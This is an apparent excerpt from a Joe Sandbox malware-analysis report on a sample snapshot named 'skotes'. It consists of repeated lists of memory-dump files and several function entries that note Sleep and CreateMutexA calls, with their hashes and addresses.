Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 7301369b6c87ee64a49d64d3f819b1a61bab2868c30afa5f9aa8a42526fa29c0
Instruction ID: a9bcd36e7514c8e852d4af4e728f0653a567c7824a9880e8c940f01c2ae86d23
Opcode Fuzzy Hash: 7301369b6c87ee64a49d64d3f819b1a61bab2868c30afa5f9aa8a42526fa29c0
Instruction Fuzzy Hash: 7F312531B001089BEB09DBB8D8DEB6DB762AFA5318F64821CE4049B3D5C739CD80C712

Function 001CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: e78f6da55b10ea16d5fd7d7167e92be03d8ea89386bcbe86b05792bce4d57048
Instruction ID: 7ee5db71db0c58111a48bacae0af4f8a66138b7e2b3dbd57d215094166ee2079
Opcode Fuzzy Hash: e78f6da55b10ea16d5fd7d7167e92be03d8ea89386bcbe86b05792bce4d57048
Instruction Fuzzy Hash: A6313931700208DBEB09DBB8DC9DB6DBB72AFA1318F64425CE0149B2D5C735C980C652

Function 001C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 4caf957163ff2240e9a75956dd69a81cd40278aab4b3a7241af90fc1722fb471
Instruction ID: daca9638a9b3036125c7078c8f749bfd440e5a0203e6b1528ac08d48afa8ef88
Opcode Fuzzy Hash: 4caf957163ff2240e9a75956dd69a81cd40278aab4b3a7241af90fc1722fb471
Instruction Fuzzy Hash: 8F21F131714204ABEB189BA8A89EB6CB762AFA1714F20425DE4089B2D5D775DD808612

Function 001CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 71d6fa8b66aef912b9b0407a37b153a04d4d0b8026ece0b6eb99ba1c562d3796
Instruction ID: 3df363c402e8ec97544c61e1df1d6edcf215aadf0b9cc3ff28af399ce926c372
Opcode Fuzzy Hash: 71d6fa8b66aef912b9b0407a37b153a04d4d0b8026ece0b6eb99ba1c562d3796
Instruction Fuzzy Hash: D9216D31354208DBEB2967A8989FF3DB7619FB1709F60051EE508D62C1CBBACC81C553

Function 001CA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
